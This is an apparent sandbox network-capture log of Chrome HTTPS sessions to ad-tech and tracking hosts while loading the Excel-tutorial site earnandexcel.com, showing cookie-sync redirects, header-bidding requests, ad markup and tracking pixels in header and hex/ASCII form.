2024-04-11 21:27:07 UTC	781	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_1278=23329-239cb25a-cfc7-4eef-9e77-08cbf9cb201b&KRTB&23340-239cb25a-cfc7-4eef-9e77-08cbf9cb201b&KRTB&23498-239cb25a-cfc7-4eef-9e77-08cbf9cb201b; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:05 GMT; path=/ Set-Cookie: PugT=1712870825; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:05 GMT; path=/ Location: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=25F9549E-136A-47E9-9171-DA44C0E0D5E3 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.17	50422	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	890	OUT	GET /ping_match.gif?scc=1&ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=rQ8OKBkf1RV1WN5
2024-04-11 21:27:07 UTC	773	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Thu, 11 Apr 2024 21:27:06 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:rQ8OKBkf1RV1WN5&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-080e7f3588552d424@us-east-1d@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=rQ8OKBkf1RV1WN5; Domain=.w55c.net; Expires=Sun, 11 May 2025 21:27:06 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchpubmatic=5; Domain=.w55c.net; Expires=Sat, 11 May 2024 21:27:06 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.17	50413	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1828	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 2841 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:06 UTC	2841	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 31 32 38 37 30 38 32 34 30 33 30 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 31 33 38 35 63 37 35 65 39 31 61 64 36 34 37 22 2c 22 74 61 67 69 64 22 3a 22 73 74 69 63 6b 79 5f 6f 75 74 73 74 72 65 61 6d 5f 64 65 73 6b 74 6f 70 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 31 2e 32 31 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 2f 31 30 33 30 30 30 36 2c 32 32 39 35 32 31 32 32 39 36 31 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2f 75 6e 69 76 65 72 73 61 6c 5f 70 6c 61 79 65 72 22 2c 22 61 64 73 65 72 76 65 72 22 3a 7b 22 6e 61 6d 65 22 3a 22 67 61 6d 22 2c 22 61 64 73 6c 6f 74 22 3a 22 2f 31 30 33 30 Data Ascii: {"id":"1712870824030","at":1,"cur":["USD"],"imp":[{"id":"1385c75e91ad647","tagid":"sticky_outstream_desktop","bidfloor":1.21,"secure":1,"ext":{"data":{"pbadslot":"/1030006,22952122961/earnandexcel/universal_player","adserver":{"name":"gam","adslot":"/1030
2024-04-11 21:27:07 UTC	492	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache, no-store, must-revalidate Content-Type: application/json Observe-Browsing-Topics: ?1 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=pubmatic.com; Expires=Wed, 10 Jul 2024 21:27:07 GMT; HttpOnly; Secure; SameSite=None; Partitioned; X-Openrtb-Version: 2.3 Date: Thu, 11 Apr 2024 21:27:07 GMT Transfer-Encoding: chunked Connection: close
2024-04-11 21:27:07 UTC	3623	IN	Data Raw: 34 32 39 32 0d 0a 7b 22 69 64 22 3a 22 31 37 31 32 38 37 30 38 32 34 30 33 30 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 34 34 34 43 31 46 33 43 2d 41 33 32 34 2d 34 34 32 43 2d 39 32 43 36 2d 41 31 30 31 39 36 41 31 44 43 37 38 22 2c 22 69 6d 70 69 64 22 3a 22 31 33 38 35 63 37 35 65 39 31 61 64 36 34 37 22 2c 22 70 72 69 63 65 22 3a 31 2e 38 36 33 37 30 32 2c 22 61 64 6d 22 3a 22 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 5c 22 32 2e 30 5c 22 3e 3c 41 64 20 69 64 3d 5c 22 50 4d 5f 56 50 41 49 44 5f 41 44 5c 22 3e 3c 49 6e 4c 69 6e 65 3e 3c 41 64 53 79 73 74 65 6d 3e 50 75 62 4d 61 74 69 63 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 41 64 54 69 74 6c 65 3e 56 50 41 49 44 3c 2f 41 64 54 69 74 6c 65 3e 3c 49 6d 70 72 65 73 Data Ascii: 4292{"id":"1712870824030","seatbid":[{"bid":[{"id":"444C1F3C-A324-442C-92C6-A10196A1DC78","impid":"1385c75e91ad647","price":1.863702,"adm":"<VAST version=\"2.0\"><Ad id=\"PM_VPAID_AD\"><InLine><AdSystem>PubMatic</AdSystem><AdTitle>VPAID</AdTitle><Impres
2024-04-11 21:27:07 UTC	5792	IN	Data Raw: 66 70 6f 54 72 67 31 75 52 72 6e 39 78 69 6d 67 35 35 6c 6f 6d 72 71 7a 30 6a 76 6f 61 4c 49 41 45 61 48 67 67 52 59 68 73 38 6f 73 69 42 4d 42 46 63 71 53 50 35 54 63 41 53 57 78 39 4d 5a 67 5f 41 69 69 49 39 52 6a 30 6a 45 6b 6f 54 4f 7a 38 6a 48 34 5f 61 71 5f 71 36 36 45 41 2d 51 50 78 6f 6d 49 35 77 43 4b 5f 4e 6c 76 31 2d 38 2d 58 61 58 45 52 39 47 51 2d 6b 31 76 70 5f 33 38 37 4f 7a 72 54 63 57 52 4b 7a 76 43 43 42 5a 55 4d 4a 64 59 59 68 54 4e 66 4e 78 67 4d 76 7a 39 45 56 68 52 78 49 39 70 5a 47 49 32 57 77 75 79 58 6c 65 34 52 47 78 77 46 52 36 71 41 50 53 35 42 44 66 5f 47 4f 58 50 54 48 5f 74 59 4d 6b 2d 75 44 77 66 57 49 68 2d 30 46 47 68 69 45 2d 55 37 32 48 42 34 31 44 4e 61 62 50 47 62 79 4c 53 74 38 52 4f 71 6c 75 75 6b 75 57 77 49 79 4b Data Ascii: fpoTrg1uRrn9ximg55lomrqz0jvoaLIAEaHggRYhs8osiBMBFcqSP5TcASWx9MZg_AiiI9Rj0jEkoTOz8jH4_aq_q66EA-QPxomI5wCK_Nlv1-8-XaXER9GQ-k1vp_387OzrTcWRKzvCCBZUMJdYYhTNfNxgMvz9EVhRxI9pZGI2WwuyXle4RGxwFR6qAPS5BDf_GOXPTH_tYMk-uDwfWIh-0FGhiE-U72HB41DNabPGbyLSt8ROqluukuWwIyK
2024-04-11 21:27:07 UTC	4344	IN	Data Raw: 70 73 25 33 41 25 32 46 25 32 46 73 74 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 25 32 46 74 72 61 63 6b 25 33 46 6f 70 65 72 49 64 25 33 44 37 25 32 36 70 25 33 44 31 35 37 31 30 38 25 32 36 73 25 33 44 37 30 33 31 38 35 25 32 36 61 25 33 44 35 33 31 37 32 33 34 25 32 36 77 61 25 33 44 32 34 33 25 32 36 74 73 25 33 44 31 37 31 32 38 37 30 38 32 37 25 32 36 77 63 25 33 44 32 32 39 38 37 25 32 36 63 72 49 64 25 33 44 35 34 38 37 33 31 39 33 38 25 32 36 75 63 72 69 64 25 33 44 31 34 30 36 37 31 39 35 37 35 35 32 31 36 31 38 33 39 33 31 25 32 36 69 6d 70 69 64 25 33 44 34 34 34 43 31 46 33 43 2d 41 33 32 34 2d 34 34 32 43 2d 39 32 43 36 2d 41 31 30 31 39 36 41 31 44 43 37 38 25 32 36 61 64 76 65 72 74 69 73 65 72 5f 69 64 25 33 44 31 30 39 39 31 25 32 36 65 63 Data Ascii: ps%3A%2F%2Fst.pubmatic.com%2Ftrack%3FoperId%3D7%26p%3D157108%26s%3D703185%26a%3D5317234%26wa%3D243%26ts%3D1712870827%26wc%3D22987%26crId%3D548731938%26ucrid%3D14067195755216183931%26impid%3D444C1F3C-A324-442C-92C6-A10196A1DC78%26advertiser_id%3D10991%26ec
2024-04-11 21:27:07 UTC	3296	IN	Data Raw: 25 32 38 25 32 32 41 64 50 61 75 73 65 64 25 32 32 25 32 39 25 32 43 41 64 50 6c 61 79 69 6e 67 25 33 41 61 25 32 38 25 32 32 41 64 50 6c 61 79 69 6e 67 25 32 32 25 32 39 25 32 43 41 64 45 72 72 6f 72 25 33 41 61 25 32 38 25 32 32 41 64 45 72 72 6f 72 25 32 32 25 32 39 25 37 44 25 32 43 6e 25 33 44 25 32 31 31 25 32 43 71 25 33 44 25 35 42 25 32 32 41 64 53 74 6f 70 70 65 64 25 32 32 25 32 43 25 32 32 41 64 53 6b 69 70 70 65 64 25 32 32 25 32 43 25 32 30 25 32 32 41 64 56 69 64 65 6f 43 6f 6d 70 6c 65 74 65 25 32 32 25 35 44 25 33 42 25 32 38 66 75 6e 63 74 69 6f 6e 25 32 38 25 32 39 25 37 42 69 66 25 32 38 62 25 32 36 25 32 36 62 2e 73 75 62 73 63 72 69 62 65 25 32 39 66 6f 72 25 32 38 76 61 72 25 32 30 61 25 32 30 69 6e 25 32 30 65 25 32 39 65 2e 68 61 Data Ascii: %28%22AdPaused%22%29%2CAdPlaying%3Aa%28%22AdPlaying%22%29%2CAdError%3Aa%28%22AdError%22%29%7D%2Cn%3D%211%2Cq%3D%5B%22AdStopped%22%2C%22AdSkipped%22%2C%20%22AdVideoComplete%22%5D%3B%28function%28%29%7Bif%28b%26%26b.subscribe%29for%28var%20a%20in%20e%29e.ha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.17	50394	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	807	OUT	GET /merge?pid=83&3pid=LUVR2A3B-N-5ZEP&gdpr=0 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:07 UTC	885	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_83=LUVR2A3B-N-5ZEP; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.17	50444	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	736	OUT	GET /usersync2/rmpssp?sub=sovrn&zcc=1&cb=1712870826311 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-f46229e0-d186-4f50-bcf4-fc793ddc8ce8-005%22%2C%22zdxidn%22%3A%222069.80%22%7D
2024-04-11 21:27:07 UTC	645	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:27:07 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-f46229e0-d186-4f50-bcf4-fc793ddc8ce8-005%22%2C%22zdxidn%22%3A%222069.80%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Fri, 11 Apr 2025 21:27:07 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ad.turn.com/r/cs?pid=45&rndcb=3815660529 etag: RXf46229e0d1864f50bcf4fc793ddc8ce8005 connection: close
2024-04-11 21:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.17	50418	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	858	OUT	GET /merge?pid=86&3pid=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=sovrn&gdpr=0&gdpr_consent= HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:07 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_86=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.17	50420	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	607	OUT	GET /w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI
2024-04-11 21:27:07 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.17	50400	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	659	OUT	POST / HTTP/1.1 Host: to.getnitropack.com Connection: keep-alive Content-Length: 2163 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyRK18Azza56hkuT7 Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	2163	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 79 52 4b 31 38 41 7a 7a 61 35 36 68 6b 75 54 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6b 65 79 22 0d 0a 0d 0a 70 64 75 4d 43 66 49 63 79 6b 77 68 53 63 55 4a 63 45 44 6f 68 78 62 79 55 52 65 66 4d 65 68 4d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 79 52 4b 31 38 41 7a 7a 61 35 36 68 6b 75 54 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 70 73 22 0d 0a 0d 0a 7b 22 31 37 31 32 38 37 30 38 30 32 37 37 32 6e 64 34 72 37 67 67 35 35 69 69 5f 6e 61 5f 33 67 5f 75 5f 64 6f 77 22 3a 7b 22 69 Data Ascii: ------WebKitFormBoundaryyRK18Azza56hkuT7Content-Disposition: form-data; name="key"pduMCfIcykwhScUJcEDohxbyURefMehM------WebKitFormBoundaryyRK18Azza56hkuT7Content-Disposition: form-data; name="props"{"1712870802772nd4r7gg55ii_na_3g_u_dow":{"i
2024-04-11 21:27:07 UTC	462	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server-Timing: c;dur=3.3, cn;dur=0, json;dur=0.03, pl;dur=0.91, gne;dur=0.09, push-0;dur=2.13, l-0;dur=4.03, all;dur=4.95 Content-Encoding: none Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=15724800; includeSubDomains CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 872e0f0d1b9f0f69-EWR
2024-04-11 21:27:07 UTC	26	IN	Data Raw: 31 34 0d 0a 68 74 74 70 73 3a 2f 2f 6e 69 74 72 6f 70 61 63 6b 2e 69 6f 0d 0a Data Ascii: 14https://nitropack.io
2024-04-11 21:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.17	50449	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	2669	OUT	GET /courses/excel-tools-and-templates/ HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; 